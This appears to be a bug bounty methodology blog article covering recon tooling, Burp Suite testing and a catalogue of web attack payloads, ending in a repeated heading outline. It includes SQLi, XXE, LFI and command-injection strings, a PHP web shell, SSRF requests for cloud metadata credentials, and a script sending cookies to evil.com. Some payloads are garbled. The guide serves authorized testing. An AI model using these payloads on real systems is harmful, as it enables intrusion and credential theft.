The 2026 Bug Bounty Hunter’s Playbook: From Recon To Chain Exploitation In The Modern Attack Surface + Video

Introduction

The bug bounty landscape has shifted dramatically. In 2026, spraying generic payloads at endpoints is a guaranteed path to duplicate reports and wasted hours. The difference between a hunter who consistently earns payouts and one who burns out on informationals lies not in tooling, but in methodology—a disciplined, phased approach that prioritizes application understanding over blind automation. This article distills a battle-tested workflow that moves from mindset and program selection through structured recon, manual mapping, Burp Suite mastery, and targeted testing of both classic vulnerabilities and the emerging attack surfaces where low-duplicate findings are hiding right now.

Learning Objectives

Master a phased bug bounty methodology that prioritizes application mapping and manual testing over payload dumping
Execute comprehensive reconnaissance and asset discovery workflows using modern tooling
Identify and exploit 2026’s high-impact attack surfaces including GraphQL, WebSockets, OAuth, prototype pollution, and cache poisoning
Chain low-severity vulnerabilities into high-impact exploits with working proof-of-concepts
Structure professional reports that convert findings into payouts

You Should Know

Mindset & Core Rules — The Foundation of Every Successful Hunt

Before opening a single browser tab, internalize the rules that separate effective hunters from noise generators. PoC or GTFO is non-1egotiable: never submit a report without a working proof of concept that demonstrates real impact. Know your enemy—spend days mapping the application, not hours. Out-think, don’t out-race—speed hunters pile into obvious endpoints and create duplicates; find the leftovers: tacked-on import functions, legacy APIs, features no one reads the docs for. Every tool lies sometimes—scanner alerts are hypotheses, not conclusions; confirm everything manually. VDPs are your training ground—less competition, lower-hardened apps, and they earn you private program invites. Barriers are your friends—Dutch-only programs, non-English docs, mobile-only setups—other hunters drop off, you push through. Impact is king—two vulnerabilities of the same type can have wildly different severities depending on what you can achieve with them. And for EU targets, the GDPR multiplier is real—accessing another user’s PII is a violation by definition and significantly raises severity.

Platform Selection Strategy

| Platform | Pros | Cons |

|-|||

| Intigriti | Less crowded, helpful triagers, no negative karma for invalid submissions, community Slack access after valid findings, many EU programs | Smaller total program count, fewer fully public paid programs |
| HackerOne | Largest program selection worldwide, regular CTFs with private program invites as prizes | Negative karma for invalid reports, very high competition |
| Bugcrowd | Massive program selection, Bugcrowd Academy learning resources | Same negative karma system, high competition |

For finding programs outside platforms, use dorks like `site:target.com “responsible disclosure”` and site:target.com "bug bounty".

2. Phase 1 — Reconnaissance & Asset Discovery

Reconnaissance is where the hunt is won or lost. The goal is to build a complete inventory of your target’s digital footprint before you touch a single endpoint.

Subdomain Enumeration Pipeline

 Passive subdomain discovery
subfinder -d target.com -o subdomains.txt
assetfinder --subs-only target.com >> subdomains.txt

In-depth enumeration
amass enum -passive -d target.com -o amass.txt

Check which subdomains are live
cat subdomains.txt | httprobe -c 50 -t 3000 > alive.txt

Screenshot overview
aquatone -out aquatone/ < alive.txt

Tool reference: subfinder for passive enumeration, assetfinder for fast discovery, amass for in-depth enumeration, httprobe for live host checking, and aquatone/EyeWitness for screenshot flyovers.

Historical URL Discovery

 Fetch historical URLs from Wayback Machine and Gau
gau target.com | grep -vE '.(css|js|png|jpg|jpeg|gif|ico|svg|woff|ttf|eot)$' > historical.txt
waybackurls target.com >> historical.txt

Extract JavaScript endpoints
linkfinder -i target.com -o js_endpoints.txt

Pro tip: Historical URLs often reveal forgotten API versions, debug endpoints, and deprecated functionality that modern scanners miss.

Certificate Transparency & Port Scanning

 Certificate transparency lookup
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u

Fast port scanning
naabu -host target.com -top-ports 1000 -o ports.txt

Detailed service enumeration
nmap -sV -sC -p- -T4 target.com -oN nmap.txt

3. Phase 2 — Manual Application Mapping

Automation finds the obvious. Manual mapping finds the gold.

The Poisoned Registration Trick

When creating accounts or filling profile fields, inject both XSS and SSTI payloads from the start:

"{{77}}{{77}}"

Insert this into every field: username, first name, last name, address, bio, preferences. This payload travels through the application as you use it and may fire in an admin panel, a report PDF, an email template, or a backend system days later.

Exploration Checklist

Use the application as a normal user for each role—trigger every feature
Read the product documentation or knowledge base in full
Read the API documentation / Swagger UI: site:target.com swagger, site:target.com api/docs, `site:target.com openapi.json`
– Note every privilege level and what each can do
Note every integration point: import, export, webhooks, third-party logins, payment flows, email triggers
Note every place that accepts file uploads
Note every place that renders user-supplied content
Note every URL parameter that appears to interact with the backend

Parameters Worth Flagging Immediately

| Pattern | Likely Target |

|||

4. Phase 3 — Burp Suite Deep Dive

Filter to Parameterised Requests

In the Burp Site Map, open the filter and enable “Show only parameterized requests”. This cuts the noise and surfaces the endpoints worth testing.

Repeater Strategy

For each interesting request:

1. Send it to Repeater

Understand what the endpoint does by reading the response carefully
Tamper with one parameter at a time—change values, remove them, duplicate them, send unexpected types (string where int is expected, negative numbers, huge numbers)
Look for different responses—an error, a changed status code, a timing difference

Intruder / ffuf Strategy

 Directory brute-forcing
ffuf -u https://target.com/FUZZ -w /path/to/wordlist.txt -ac

Parameter fuzzing
ffuf -u https://target.com/api/users?id=FUZZ -w ids.txt

Rate-limiting testing
ffuf -u https://target.com/login -d "username=admin&password=FUZZ" -w passwords.txt -rate-limit 100

Tool reference: gobuster, ffuf, and feroxbuster for directory and content brute-forcing.

Inferring New Endpoints

If you see /api/v2/getInvoices, the older `/api/v1/getInvoices` very likely still exists—and is probably less secure. Always check:
– Version downgrades: v2 → v1, v3 → v2 → v1
– Alternate resource paths: /api/admin/, /internal/, `/private/`
– HTTP method tampering: if only GET is documented, try POST, PUT, DELETE, PATCH

Hidden Parameters (Mass Assignment)

When saving settings or profile data, intercept the request and look for parameters the UI does not expose. Try adding:

role=admin
isAdmin=true
status=active
plan=enterprise

Mass-assignment vulnerabilities are frequently found this way.

Phase 4 — Vulnerability Testing (The 2026 Catalogue)

XSS (Cross-Site Scripting)

Initial probe—insert everywhere:

"> {{77}}

Stored XSS: Test every input displayed to other users: profile fields, comments, messages, product names, filenames, notes. Start minimal—<test>—if the tag renders, escalate. Target admin-facing fields (support ticket subjects, user display names) for higher-severity stored XSS into privileged contexts.

Reflected XSS: Test every URL parameter and search query. Check error pages.

SSTI (Server-Side Template Injection)

Detection payloads:

{{77}}
${77}
${{77}}
{77}
{77}

Blind SSTI: Use time-based payloads:

{{77}}
{{sleep(5)}}
${sleep(5)}

SQL Injection

Basic detection:

' OR '1'='1
' UNION SELECT NULL--
' AND 1=1--
' AND 1=2--

Time-based blind:

' AND SLEEP(5)--
' AND 1=(SELECT COUNT() FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() AND SLEEP(5))--

Out-of-band (DNS):

' AND LOAD_FILE(CONCAT('\\',(SELECT DATABASE()),'.collaborator.com\a'))--

Tool reference: sqlmap for SQL injection automation.

IDOR & Broken Access Control

Testing approach: Identify object references (user IDs, order numbers, invoice IDs, document IDs) and attempt to access resources belonging to other users by modifying these identifiers. Check both URL parameters and POST body parameters.

Vertical privilege escalation: After identifying admin-only endpoints or parameters (e.g., role=user), try modifying them to `role=admin` or accessing `/admin/` paths directly.

CSRF (Cross-Site Request Forgery)

Detection: Check if sensitive state-changing requests (password changes, email updates, fund transfers) lack:
– Anti-CSRF tokens
– SameSite cookie attributes
– Custom headers (e.g., X-Requested-With)

Bypass techniques: If a token exists but is weak or predictable, attempt to reuse it, or check if the token is tied to the session but not the specific request.

SSRF (Server-Side Request Forgery)

Detection parameters: url=, src=, dest=, feed=, webhook=, proxy=—any feature that fetches a URL on your behalf (link preview, PDF generation, webhook, import from URL).

Detect blind SSRF first:

https://your-collaborator-id.burpcollaborator.net
https://your-subdomain.interactsh.com

If you get a DNS/HTTP callback—SSRF is confirmed.

Escalate to internal resources:

http://127.0.0.1/
http://localhost/admin
http://169.254.169.254/latest/meta-data/  AWS
http://169.254.169.254/latest/meta-data/iam/security-credentials/  AWS IAM
http://metadata.google.internal/computeMetadata/v1/  GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01  Azure
http://192.168.0.1/

Filter bypass techniques:

http://[::1]/  IPv6 localhost
http://2130706433/  Decimal IP for 127.0.0.1
http://0x7f000001/  Hex IP
http://127.1/  Short form
http://[email protected]  Hash trick
http://[email protected]  @ notation

Tool reference: Burp Collaborator for SSRF, blind XSS, and blind XXE detection.

XXE (XML External Entity)

Test everywhere XML is consumed—including document uploads.

Basic file read:

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

SVG upload (XXE via image upload):

<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg>&xxe;</svg>

DOCX/XLSX XXE: These formats are ZIP archives. Unzip, embed the XXE payload in `word/document.xml` or xl/workbook.xml, re-zip, and upload.

Blind XXE (out-of-band):

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">
%xxe;
]>
<root>&xxe;</root>

LFI / RFI (Local/Remote File Inclusion)

Detection parameters: `file=`, `page=`, `template=`, `path=`, `include=`, `module=`.

Linux traversal:

../../../../etc/passwd
../../../../etc/shadow
../../../../proc/self/environ
../../../../var/log/apache2/access.log

Windows traversal:

......\windows\win.ini
......\windows\system32\drivers\etc\hosts

PHP wrappers:

php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=/etc/passwd
php://input
expect://id

Null byte (old PHP):

../../../../etc/passwd%00

File Upload Vulnerabilities

Extension bypass order of operations:

Upload `.php` — blocked? Try .php5, .phtml, .phar, `.shtml`
– Change `Content-Type` to `image/jpeg` while keeping dangerous extension
Double extension: shell.php.jpg, `shell.jpg.php`
– Null byte: `shell.php%00.jpg`
– Upload SVG with XSS or XXE payload
Upload DOCX/XLSX with XXE payload

Web shell (PHP):

<?php system($_GET['cmd']); ?>

After upload, check if the file is served from a web-accessible path—if yes, a web shell is directly executable via browser.

Command Injection

Target parameters: anything that looks like it executes a system call—hostname, IP address, domain, filename, shell options, email address (in some mail-sending features).

Chaining operators:

; id
| id
|| id
&& id
`id`
$(id)
%0Aid (URL-encoded newline)

Blind via timing:

; sleep 5
| ping -c 5 127.0.0.1

Blind via out-of-band:

; curl https://your-collaborator.com/$(whoami)
; nslookup $(whoami).your-collaborator.com

Windows variants:

& whoami
| whoami
&& whoami
; whoami
%26 whoami

Open Redirects

Target parameters: redirect=, url=, next=, return=, returnTo=, goto=, target=, redir=, destination=.

Basic test:

redirect=https://evil.com
redirect=//evil.com
redirect=javascript:alert(1)

Bypass techniques:

https://[email protected]
https://target.com.evil.com
https://evil.com%23target.com
https://evil.com%3F.target.com
//evil.com/%2F..

Open redirects are low severity alone—but become high when chained with OAuth code theft.

The 2026 Attack Surface — Where Low-Duplicate Findings Are Hiding

Wesley Thijs highlights the sections most hunters overlook: GraphQL introspection, WebSocket message tampering, OAuth redirect_uri and PKCE validation, prototype pollution, cache poisoning through unkeyed headers, and subdomain takeover. These are where the low-duplicate findings are hiding right now.

GraphQL Introspection Left Enabled in Production

The problem: Many organizations disable public introspection but leave it vulnerable through bypasses or alternate endpoints.

Detection:

query {
__schema {
types {
name
fields {
name
type {
name
}
}
}
}
}

Bypass techniques: Inline fragments can bypass introspection controls. Also check for SDL endpoints that may expose schema even when introspection is disabled.

Exploitation: Once you have the schema, identify sensitive mutations (e.g., updateUser, deleteUser, createAdmin) and test for authorization bypasses, IDOR, and injection.

WebSocket Message Tampering

Every real-time application—trading platforms, customer support tools, multiplayer games, collaboration software, live dashboards—runs WebSockets. Burp Suite intercepts and replays WebSocket messages as easily as HTTP.

Testing approach:

In Burp Proxy, go to the WebSockets history tab

2. Intercept WebSocket messages and modify their content

3. Test for:

Message injection: Can you send arbitrary messages as another user?
Authentication bypass: Does the WebSocket re-authenticate properly?
IDOR: Can you manipulate object references in WebSocket frames?
Rate-limiting bypass: Does the WebSocket enforce rate limits?

Tool: WSStrike extension in Burp Suite for comprehensive WebSocket penetration testing.

OAuth redirect_uri & PKCE Validation

Common issues:

Open redirect in OAuth callback: If `redirect_uri` is not strictly validated, attackers can steal authorization codes
PKCE verifier exposure: If the provider reflects state back in the redirect URL, both the authorization code and PKCE verifier can be captured
PKCE bypass via brute-force: If the token exchange endpoint accepts low-entropy verifiers, intercepted codes can be redeemed
Missing PKCE enforcement for public clients: Mobile OAuth apps without PKCE are vulnerable to code interception

Testing checklist:

Fuzz `redirect_uri` validation with encoding and parser tricks
Test if `state` parameter is required (CSRF protection)
Verify PKCE `code_verifier` is strictly enforced during token exchange
Check if `redirect_uri` can point to attacker-controlled domains

Prototype Pollution

The threat: Attackers can modify Object.prototype, affecting all JavaScript objects and leading to authentication bypass, property injection, and in some cases, remote code execution.

Detection payloads:

// Test for prototype pollution via query parameters or JSON bodies
{"<strong>proto</strong>": {"polluted": true}}
{"constructor": {"prototype": {"polluted": true}}}

Common sources: Merge functions, deep extend, object assignment without sanitization.

Impact: Property injection affecting all JavaScript objects, authentication/authorization bypass.

Cache Poisoning Through Unkeyed Headers

The vulnerability: When a CDN or reverse proxy caches a response that reflects an attacker-controlled header (like X-Forwarded-Host) without including it in the cache key.

Detection:

1. Identify headers that are reflected in responses

Check if these headers are included in the `Vary` header
If not, they may be unkeyed and exploitable for cache poisoning

Exploitation example:

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

If the response reflects `X-Forwarded-Host` in an absolute URL (script src, link, redirect), and the header is unkeyed, the cached response serves attacker-controlled content to all users.

Tool: CacheKiller framework for discovering cache poisoning vectors.

Subdomain Takeover

The opportunity: Dangling DNS records that still point to deprovisioned services (AWS S3, Azure, GitHub Pages, Fastly, Heroku) can be claimed by attackers.

Detection workflow:

1. Enumerate all subdomains (subfinder, assetfinder, amass)

Check for dangling CNAMEs pointing to deprovisioned services

3. Attempt to claim the service

Tool: dnsReaper matches dangling DNS records against over 50 signatures.

Impact: On HackerOne alone, there are hundreds of subdomain takeover reports filed every year—consistently one of the most reported vulnerability classes. Takeovers can bypass CSP policies that trust `.target.com` and compromise OAuth flows that whitelist the subdomain.

7. Vulnerability Chaining — Turning Low into High

Solo low-severity bugs become high-severity chains. Always ask: can I combine this with something else?

XSS → Account Takeover

Find stored XSS in a field visible to admins
Payload steals the admin’s non-HttpOnly session cookie
Use the stolen cookie to authenticate as the admin

fetch('https://evil.com/?c='+document.cookie)

XSS → CSRF Bypass

Stored XSS bypasses CSRF tokens entirely—the JavaScript runs in the victim’s browser and can read the CSRF token from the DOM, then submit a request with it.

fetch('/settings').then(r => r.text()).then(html => {
const token = html.match(/csrf_token" value="([^"]+)"/)[bash];
fetch('/settings/email', {
method: 'POST',
body: `[email protected]&csrf_token=${token}`
});
});

CSRF → Stored XSS → Worm

CSRF tricks the victim into posting content with a stored XSS payload. That XSS payload then replicates itself via CSRF to every user who views the page.

IDOR + Information Leak → Full Account Enumeration

Find an endpoint that leaks or lists user GUIDs (low/info). Use those GUIDs in an IDOR to access every user’s data (escalates to medium/high).

Open Redirect → OAuth Code Theft

OAuth callback URL accepts open redirects: `redirect_uri=https://target.com/callback?next=https://evil.com`. After OAuth flow, the authorization code is in the URL, and the redirect sends the victim (with the code in the Referer header) to the attacker’s server.

SSRF → Cloud Metadata → RCE

Find SSRF pointing to internal network. Access AWS metadata endpoint to leak IAM credentials. Leaked credentials allow direct access to S3, EC2, etc..

Password Reset + CSRF → Account Takeover

CSRF triggers a password reset. Reset link is sent to victim’s email—not directly exploitable. But: CSRF on the “change email” endpoint first, before triggering the reset → reset link goes to attacker’s email.

Reporting — The Difference Between Payout and Informational

A great bug reported badly gets marked as informational. A clear, well-structured report earns you the payout and the reputation.

Report Structure

`[bash] Short, specific description`

e.g., `[bash] Stored XSS in user display name allows session cookie theft`

Severity: Critical / High / Medium / Low / Informational

CVSS: (if the program uses it)

Summary: A 2-3 sentence description of the vulnerability, affected component, and impact.

Steps to Reproduce:

1. Log in as User A

2. Navigate to Settings → Profile

Set display name to: ``

4. Save

PoC: Include a working proof of concept—screenshots, video, or code.

Impact: Clearly articulate what an attacker can actually achieve.

Remediation: Suggest a fix (optional but appreciated).

Report Writing Principles

Escalate with chains. An open redirect is low. An open redirect + OAuth code theft is high
GDPR is a severity multiplier on EU targets. Accessing another user’s PII is a violation beyond the technical bug
Admin-only XSS is still valid—demonstrate what an attacker can do once they have admin XSS
Self-XSS is almost universally out of scope unless you can show a realistic delivery vector

What Undercode Say

Methodology beats tooling every time. The hunters who consistently earn payouts aren’t the ones with the most expensive tools—they’re the ones with the most disciplined process. Mapping the application thoroughly before attacking yields more findings than blind scanning.
The 2026 attack surface is your competitive advantage. GraphQL introspection, WebSocket tampering, OAuth misconfigurations, prototype pollution, cache poisoning, and subdomain takeover are where the low-duplicate findings are hiding. Most hunters are still focused on XSS and SQLi—these modern surfaces are under-tested and over-rewarded.
Chaining is the skill that separates intermediate from advanced. A single low-severity bug is noise. Three low-severity bugs chained together are a critical vulnerability. Learn to think in chains, not individual findings.
Reporting is a technical skill, not an afterthought. The best vulnerability in the world, poorly explained, gets triaged as informational. Structure your reports with clear titles, reproducible steps, and explicit impact statements. Your reputation—and your payouts—depend on it.

Expected Output

Introduction:

What Undercode Say:

Methodology beats tooling every time. The hunters who consistently earn payouts aren’t the ones with the most expensive tools—they’re the ones with the most disciplined process. Mapping the application thoroughly before attacking yields more findings than blind scanning.
The 2026 attack surface is your competitive advantage. GraphQL introspection, WebSocket tampering, OAuth misconfigurations, prototype pollution, cache poisoning, and subdomain takeover are where the low-duplicate findings are hiding. Most hunters are still focused on XSS and SQLi—these modern surfaces are under-tested and over-rewarded.

Prediction

+1 Bug bounty platforms will increasingly prioritize chained exploits over individual findings, with payout multipliers for reports that demonstrate creative vulnerability combinations and clear business impact.
+1 AI-assisted recon tools will become mainstream, automating subdomain discovery, endpoint extraction, and parameter fuzzing—but manual application mapping and business logic testing will remain the hunter’s competitive edge.
-1 As more hunters pivot to the 2026 attack surface (GraphQL, WebSockets, OAuth, prototype pollution), these vectors will become saturated with duplicates within 12-18 months, pushing the bleeding edge toward supply chain attacks, AI/LLM vulnerabilities, and cloud misconfigurations.
+1 The GDPR multiplier will become a standard severity consideration for EU-targeted programs, with hunters actively factoring data protection impact into their exploit chains and report valuations.
-1 Organizations will increasingly deploy WAFs and RASP solutions that detect and block the payloads in this guide—but they will continue to miss business logic flaws, race conditions, and complex chains that require human reasoning to identify and exploit.

▶️ Related Video (76% Match):

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: Wesley Thijs – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Listen to this Post

Introduction

Learning Objectives

You Should Know

Platform Selection Strategy

| Platform | Pros | Cons |

|-|||

2. Phase 1 — Reconnaissance & Asset Discovery

Subdomain Enumeration Pipeline

Historical URL Discovery

Certificate Transparency & Port Scanning

3. Phase 2 — Manual Application Mapping

The Poisoned Registration Trick

Exploration Checklist

Parameters Worth Flagging Immediately

| Pattern | Likely Target |

|||

4. Phase 3 — Burp Suite Deep Dive

Filter to Parameterised Requests

Repeater Strategy

For each interesting request:

1. Send it to Repeater

Intruder / ffuf Strategy

Inferring New Endpoints

Hidden Parameters (Mass Assignment)

Mass-assignment vulnerabilities are frequently found this way.

XSS (Cross-Site Scripting)

Initial probe—insert everywhere:

SSTI (Server-Side Template Injection)

Detection payloads:

Blind SSTI: Use time-based payloads:

SQL Injection

Basic detection:

Time-based blind:

Out-of-band (DNS):

Tool reference: sqlmap for SQL injection automation.

IDOR & Broken Access Control

CSRF (Cross-Site Request Forgery)

SSRF (Server-Side Request Forgery)

Detect blind SSRF first:

If you get a DNS/HTTP callback—SSRF is confirmed.

Escalate to internal resources:

Filter bypass techniques:

XXE (XML External Entity)

Test everywhere XML is consumed—including document uploads.

Basic file read:

SVG upload (XXE via image upload):

Blind XXE (out-of-band):

LFI / RFI (Local/Remote File Inclusion)

Detection parameters: `file=`, `page=`, `template=`, `path=`, `include=`, `module=`.

Linux traversal:

Windows traversal:

PHP wrappers:

Null byte (old PHP):

File Upload Vulnerabilities

Extension bypass order of operations:

Web shell (PHP):

Command Injection

Chaining operators:

Blind via timing:

Blind via out-of-band:

Windows variants:

Open Redirects

Basic test:

Bypass techniques:

GraphQL Introspection Left Enabled in Production

Detection:

WebSocket Message Tampering

Testing approach:

2. Intercept WebSocket messages and modify their content

3. Test for:

OAuth redirect_uri & PKCE Validation

Common issues:

Testing checklist:

Prototype Pollution

Detection payloads:

Cache Poisoning Through Unkeyed Headers

Detection:

1. Identify headers that are reflected in responses

Exploitation example: